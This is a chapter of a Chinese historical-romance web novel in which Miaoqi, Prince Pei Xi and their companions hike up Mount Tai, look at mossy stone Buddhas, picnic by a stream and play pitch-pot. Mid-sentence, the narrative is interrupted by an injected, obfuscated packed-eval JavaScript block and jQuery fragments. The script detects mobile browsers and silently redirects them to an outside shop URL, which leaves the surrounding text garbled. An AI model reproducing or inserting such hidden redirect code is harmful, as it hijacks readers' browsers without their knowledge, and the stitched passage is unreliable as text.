据行明说,渺七患上的许是一种伤春症,逢春去每每伤感,虽唐人道春归山寺,但山寺到底也难留春日,如今恰值别离之际,想来是忆起往日山居之事,感到不舍才徒生感伤。
应安听后觉得此说颇有道理,便想为渺七寻些乐子,然而佛寺清净之地不容放肆,应安思来想去,好算是在这日傍晚想到个主意,因向渺七提议:“谢仲孝,明儿一早我们去登山如何?”
“我们就在山上。”
“非也非也,泰山之高,岂是登至灵应寺就止步的,泰山胜景你可见过?”
渺七是惯见蓬莱仙山的人,并不觉得山色有何稀奇,故一口回绝:“不去。”
一片良苦用心教人糟蹋,应安气得直拿额头撞桌,渺七对此视若无睹,反而是盯着裴皙看。
自从早间裴皙询问渺七未果后,他便时时以一种探究目光瞧她,此刻更是一副似笑非笑模样,渺七再也忍耐不住,直言问:“你为何总是看我?”
口吻浑然没有一个做侍从的自觉,应安停下撞头,也跟着看向裴皙。
裴皙微微一笑,却顾左右而言他:“应安提议甚好,此次来灵应寺还未好生走走,离开前登回山倒也不错。”
应安经他一夸,不禁飘飘然,连初衷也忘却,转朝渺七道:“那明日我们都登山去,你就留在寺里歇着罢。”说着又飞身往外去,“我去和行明说,邀他同去,再顺道替他向慧臻讲主告个假。”
渺七当下一语不发,好像真不打算去似的,然而翌日一早她便蹲在院外相候,待众人出行,她也跟随他们一同出了山寺,踏上山路。
一行五人,只她与裴皙两手空空,应家兄弟各背一摞物什负重而上,行明也背一箱笼,不知装着些什么。
晨间岚雾未散,深林静谧,渺七走在路上倦怠打上个哈欠,气势颇足,夜宿林中的栖鸟都因此惊飞。
振翅声中,一枚雪白的小馒头送到渺七嘴边,渺七眼也不睁,以嘴接过大快朵颐起来,应安便从旁笑出声:“谢仲孝你当真有意思,若是拿只虫子放嘴边你也吃吗?”
渺七惫懒,并不睬他,只听应安嘟囔两声后就没了动静。
未几,另有一道脚步声靠近,身侧随即传来淡淡的药香与一道人声:“昨夜做了什么?”
渺七闻声终于掀起眼皮,见前路上应安与行明一处走着,认真想了想,回答说:“看了许久的月亮。”
话自是假话,昨夜她与人打了整整一夜的架。
她原以为整日同裴皙等人待在一处便能避开芙生的追袭,岂知芙生趁夜偷袭,她恐惊扰了裴皙,只好同她奔至林间打斗,打了整整一夜也未分出胜负,非但如此,芙生还对她极尽嘲讽,这让她很是烦闷。
“赏月,倒颇有意趣。”裴皙如是点评道。
“……”
渺七因这话又有些烦闷,不过裴皙忽又说:“昨日你问我为何总是看你,我因应安在,不曾答你,眼下倒是方便作答。”
一番话引得渺七扭过头看他,只见裴皙目视前路,接着道,“我时时瞧你,是因为自从听说你有心事后,我便好奇不止。”
“为何?”
“因为我原以为你是个不会有心事的人。”
“为何?”
“……”裴皙终于转头对上她困惑的双眼,不答反问,“你又为何这般不安?”
渺七仍旧困惑不解,就仿佛她不知何谓不安一般,然后她说:“我只是心烦。”
昨夜打架时她便想到,她前夜见到芙生后生出的那种情绪就和当初初到千矶岛时一般,而那样的情绪或许便是心烦。
“那因何心烦?”
渺七皱眉:“我不明白。”
“不明白?什么不明白?”
口吻温和,好似循循善诱,故而渺七虽不耐烦,但还是顺着这话思索了许久,而最后竟真像是想明白了些什么,回答说:“什么都不明白。”
说得笃定,还理直气壮,裴皙不禁微微扬起嘴角,顿了顿才说:“那不妨随意与我说上一二不明白,也好让我不必太过好奇。”
渺七便再次转过头看他,默了默说:“不明白今日你为何这般话多。”
“……”
裴皙偏头,见得那双澄澈的眼睛也在看他,注视上两瞬后,收回目光不再言语。渺七乌溜溜的眼则还望着他,眨了眨,默默随之前行。
林间古树势若烟云,日出之后岚雾蒸散,绿意清透。
行至一处,山路遽陡,几人便鱼贯而行,脚下苍藓满径,其旁岩壁之上亦莓苔遍布。渺七走在裴皙身后,只低头看路,半分景致不赏,是以裴皙驻足时她险些撞上他,好在止步及时。
困惑仰头时,裴皙已侧过身,抬头观望起岩壁。
渺七有样学样也跟着抬头,只见岩壁之上,数十尊石佛坐卧于途,佛身皆布满青苔,或有绿蔓缠绕,佛像或喜或哀,或怒或痴。
渺七不由得看痴,伸手探向面前一尊佛。
石佛端坐,眯眼而笑,即便青苔满面也未掩神貌。渺七摸摸它绿茸茸的眉眼,又触碰下它圆润的面颊,似乎是觉得有趣,久久没收回手来。
裴皙若有所思地瞧着她,等她收回手,方才缓缓前行几步。
此后沿途而上,渺七不再低着头走,而是偏着脑袋,每经一尊石佛都好奇瞧上几眼,直到另一尊佛吸引她逗留。
石佛蜷缩在地,但仰面朝天,面容狰狞,口若血盆。
渺七久久望着,末了忽地伸出右手,探进那空空的绿口之中。手像是被吞没,失去知觉,渺七转头,一副忘记早先她还出言冒犯青州王的模样,问停在前方的裴皙道:“佛也会痛吗?”
裴皙也伸出手,修长的手指轻轻落到石佛眉心,回答说:“佛本无相,此乃众生相,众生苦则石佛苦。”
渺七听后将手抽出,目光则停在那只还落在石佛眉心、似要抚平其苦痛的手上。
“我见过像这石佛的人。”她冷不丁说道,说话间骤然卷起右臂衣袖,露出臂上一道旧伤痕给裴皙看,“我还教那人咬过。”
裴皙看着那圈淡淡的齿痕,也收回手,问她:“为何说与我?”
渺七放下衣袖,不语也不解,过了许久才想到什么,回他:“也许我觉得你会说别的话。”
而不是这一句。
至于究竟该说哪句,渺七也不明白。
渺七又不想再看那些石佛,之后再度专注看脚下山路。
走过窄径,复至宽途,一行人途遇一山房,一樵夫,此外便只见山鸡飞鸟蝴蝶,及至日中将至,众人才寻至山溪旁一空地席地而坐。
老柏婆娑,树影轻动,渺七彻夜未眠,倚在树上不久便昏昏睡去,不知睡了多久,一股饭香袭来,渺七不觉食指
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317536|198990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻颤,随后睁开双眼。
“哈哈,我就说这样能叫醒他。”应安托着碗米饭,扭头冲行明说。
渺七无言端过他手中米饭,应安手一空,回头看她,颇为嫌弃道:“好没出息,一碗米饭也抢,今日有得是吃的。”
渺七越过他肩头看去溪畔,裴皙正坐在一堆火跟前烹茶,身侧堆有一摞小松枝,应平面前则燃着两堆火,一堆火上架两只山鸡与几条肥鱼,另一堆火上则悬一口小锅,似在煮汤,另有一口锅安然放在一侧,锅旁摞起饭碗,正是煮好的米饭。
“怎样?那两只山鸡可都是我抓到的,可惜有人只顾睡觉没见着我英姿。”
“你头上有草。”
应安伸手抓了抓,果真抓到一根,讪笑:“意外。”说完扭头看行明,怨他这许久不曾提醒他,行明只回他一声阿弥陀佛。
“行了,来吃饭。”
应平一声令下,渺七率先抱着饭碗前去,一顿饱餐之后,再饮一杯青州王所烹之茶,接着便十足惬意地伸个懒腰,往席上一躺,又睡起来。
没人再提登山之事,只在溪畔走动。
应平揪着应安去溪边刷锅碗,应安敢怒不敢言,只弱弱说几句谢仲孝的不是,道她好逸恶劳、没大没小,应平则只维持一贯的沉默。行明亦寻一块山石打起坐,唯有裴皙显得无所事事,闲步走去上游,坐弄流泉。
不多时,应平走来他身旁,低声禀话道:“王爷,山寺后确有打斗痕迹,是属下失职。”他来的路上按裴皙的嘱咐细细查看了翻,的确发现些乱糟糟的打斗痕迹。
“人并非冲我来,何谈失职?”裴皙远远望向席上安睡之人,平静道,“今夜多加留意便是。”
“是。”应平欲言又止一番,到底还是开口,“王爷,当真不必提防谢仲孝吗?”
裴皙捧一抔山泉在手心,任由泉水缓缓钻出指缝,而后说:“我来提防即是。”
应平唯有应下,同样转头看席上之人,结果却见应安蹲在其旁,难藏使坏心思。
“……”
这般没心没肺,也不知几时才长大。
渺七酣睡许久,最后是教一阵鼾声惊醒,睁眼时,一蒲团正正挡在面前,她便抬掌推倒蒲团。
鼾声骤停,不过片刻后又接着响起,渺七坐起身来,这才知晓刚刚是蒲团压到了应安,不知什么时候他竟也酣然睡到她身旁。
渺七还未想明白哪里来的蒲团,就听身后传来道人声:“睡醒了?”
正是今日话很多的青州王,渺七抬手摸了摸脸上的红斑,然后回头望去。
裴皙并未瞧她,而是手握羽箭朝前一掷,箭落到投壶之外,他便再取一支掷出,结果仍旧投在壶外。
渺七眼睁睁见他投了几支,尽数没中,终于忍不住上前去拾起投壶四周散落的箭支,然后再走到裴皙身侧,取出一支随手一掷。
投壶空响声,羽箭落在壶中轻旋一圈,静静倚在投壶边缘。
渺七投完扭头看看裴皙,将余下羽箭一并交还给他。
裴皙弯了弯嘴角,接过后也信手一掷,这次正中壶心,渺七不觉又看他一眼,裴皙则接连投出三支,支支命中,渺七这才迟钝皱眉,而裴皙这时戏谑道:“有劳赐教,不过适才是在练习如何不中。”
“……”
渺七想,她可能有些生气,虽然她似乎没道理生气。